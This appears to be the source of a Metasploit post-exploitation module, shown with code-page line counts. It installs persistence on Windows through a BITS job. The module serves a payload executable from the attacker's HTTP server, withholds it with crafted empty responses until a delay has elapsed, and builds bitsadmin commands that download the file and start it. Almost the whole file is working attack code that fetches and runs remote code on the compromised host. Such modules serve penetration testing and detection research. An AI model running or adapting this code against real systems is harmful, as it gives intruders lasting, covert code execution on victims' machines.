241 lines
10 KiB
Ruby
241 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
|
|
include Msf::Exploit::EXE
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Persistence Bits Job',
|
|
'Description' => %q{
|
|
This module establishes persistence through a BITS job that
|
|
downloads and executes a payload. Background Intelligent Transfer Service
|
|
(BITS) is a Windows service for transferring files in the background
|
|
using idle network bandwidth. BITS jobs are persistent and will resume
|
|
across reboots until completed or cancelled.
|
|
|
|
BITS does not include a timing mechanism for when jobs are run, so we control that
|
|
in how we respond to the HTTP requests from the BITS client. This avoids needing
|
|
to set up an external trigger to start the job like a scheduled task or similar.
|
|
|
|
Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
|
|
time parameters, the aren't a guarantee of when the job will actually run.
|
|
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.
|
|
|
|
BITS is fickle about the HTTP responses it expects, so we have to be precise in
|
|
how the server responds. For a HEAD request we need to send back a correct
|
|
Content-Length header matching the payload size, but with no body. For GET requests
|
|
we need to handle byte range requests properly (althought not always used),
|
|
sending back the appropriate
|
|
Content-Range headers. If we respond incorrectly BITS may error out or retry
|
|
in unexpected ways. However, we can trick BITS into not getting the payload until
|
|
we want by responding to the GET requests with no body (aka how we responded to
|
|
the HEAD requests) until our delay time has reached.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die',
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS],
|
|
['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'],
|
|
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'],
|
|
['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'Passive' => true,
|
|
'DisclosureDate' => '2001-10-01', # bits release date
|
|
'Notes' => {
|
|
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]),
|
|
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
|
|
# DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light
|
|
# suggestion to the system
|
|
OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]),
|
|
OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]),
|
|
])
|
|
end
|
|
|
|
def writable_dir
|
|
d = super
|
|
return session.sys.config.getenv(d) if d.start_with?('%')
|
|
|
|
d
|
|
end
|
|
|
|
def http_response_head
|
|
# unfortunately if we include a content-length header like:
|
|
# return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize })
|
|
# it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server
|
|
# response to headers manually so they adhere to the spec close enough for BITS to accept it.
|
|
# You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and
|
|
# it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.
|
|
|
|
response = create_response(200, 'OK', '1.0')
|
|
headers = [
|
|
# we want to send an arbitrarily low content length to prevent the server from doing Ranges.
|
|
# while there is code to handle that, I've yet to determine a method to delay it from getting
|
|
# the payload or going into an ERROR state and ceasing the job.
|
|
"Content-Length: 5\r\n",
|
|
# "Content-Length: #{@pload.bytesize}\r\n",
|
|
"Accept-Ranges: none\r\n",
|
|
"Last-Modified: #{Time.now.httpdate}"
|
|
]
|
|
response = response.to_s
|
|
response = response.sub('Content-Length: 0', headers.join)
|
|
response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n")
|
|
response
|
|
end
|
|
|
|
def http_response_range(start_byte, end_byte)
|
|
payload_size = @pload.bytesize
|
|
if start_byte && end_byte
|
|
# normal range: bytes=100-200
|
|
chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1)
|
|
elsif start_byte && !end_byte
|
|
# bytes=500- (from 500 to end)
|
|
chunk = @pload.byteslice(start_byte, payload_size - start_byte)
|
|
end_byte = payload_size - 1
|
|
elsif !start_byte && end_byte
|
|
# bytes=-100 (last 100 bytes)
|
|
chunk = @pload.byteslice(payload_size - end_byte, end_byte)
|
|
start_byte = payload_size - end_byte
|
|
end_byte = payload_size - 1
|
|
else
|
|
# fallback: send entire payload
|
|
chunk = @pload
|
|
start_byte = 0
|
|
end_byte = payload_size - 1
|
|
end
|
|
|
|
vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client")
|
|
headers = {
|
|
'Content-Type' => 'application/vnd.microsoft.portable-executable',
|
|
'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}"
|
|
}
|
|
|
|
response = create_response(206, 'Partial Content', '1.0')
|
|
response.body = chunk
|
|
response.headers.merge!(headers)
|
|
response.to_s
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}")
|
|
unless request['User-Agent'].downcase.include?('bits')
|
|
vprint_error('HTTP Server: Non BITS client detected, sending 404')
|
|
return
|
|
end
|
|
|
|
unless %w[HEAD GET].include?(request.method)
|
|
vprint_error("HTTP Server: Ignoring #{request.method} request")
|
|
return
|
|
end
|
|
|
|
if request.method == 'HEAD'
|
|
vprint_good('HTTP Server: HEAD request received, sending response')
|
|
return cli.put(http_response_head)
|
|
end
|
|
|
|
# BITS may use byte ranges, so we need to parse that out and send back the appropriate data
|
|
if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/
|
|
start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i
|
|
end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i
|
|
|
|
return cli.put(http_response_range(start_byte, end_byte))
|
|
end
|
|
|
|
if @start_time + datastore['DELAY'] > Time.now.to_i
|
|
message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry"
|
|
|
|
vprint_status(message)
|
|
return cli.put(http_response_head)
|
|
end
|
|
|
|
vprint_status('HTTP Server: Sending full payload to BITS client')
|
|
return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' })
|
|
end
|
|
|
|
def check
|
|
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
|
|
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
|
|
|
Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
|
|
end
|
|
|
|
def install_persistence
|
|
@pload = generate_payload_exe
|
|
endpoint = Rex::Text.rand_text_alphanumeric(8..12)
|
|
|
|
start_service({
|
|
'Uri' => {
|
|
'Proc' => proc do |cli, req|
|
|
on_request_uri(cli, req)
|
|
end,
|
|
'Path' => "/#{endpoint}"
|
|
},
|
|
'ssl' => false
|
|
})
|
|
|
|
job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
|
|
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
|
|
payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')
|
|
|
|
result = cmd_exec("bitsadmin /create \"#{job_name}\"")
|
|
id = begin
|
|
result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0]
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id
|
|
print_good("Successfully created BITS job #{job_name} with ID #{id}")
|
|
@start_time = Time.now.to_i
|
|
cmd_list =
|
|
[
|
|
%(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"),
|
|
# this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from
|
|
# a temp file to its final location and delete the job. Then run our payload
|
|
|
|
%(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""),
|
|
%(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds
|
|
%(bitsadmin /setpriority "#{job_name}" high),
|
|
%(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds
|
|
%(bitsadmin /resume "#{job_name}")
|
|
]
|
|
cmd_list.each do |cmd|
|
|
vprint_status("Executing: #{cmd}")
|
|
result = cmd_exec(cmd)
|
|
vprint_line(" #{result.lines.last.chomp}") if result && !result.empty?
|
|
end
|
|
|
|
print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
|
|
@clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
|
|
@clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
|
|
end
|
|
end
|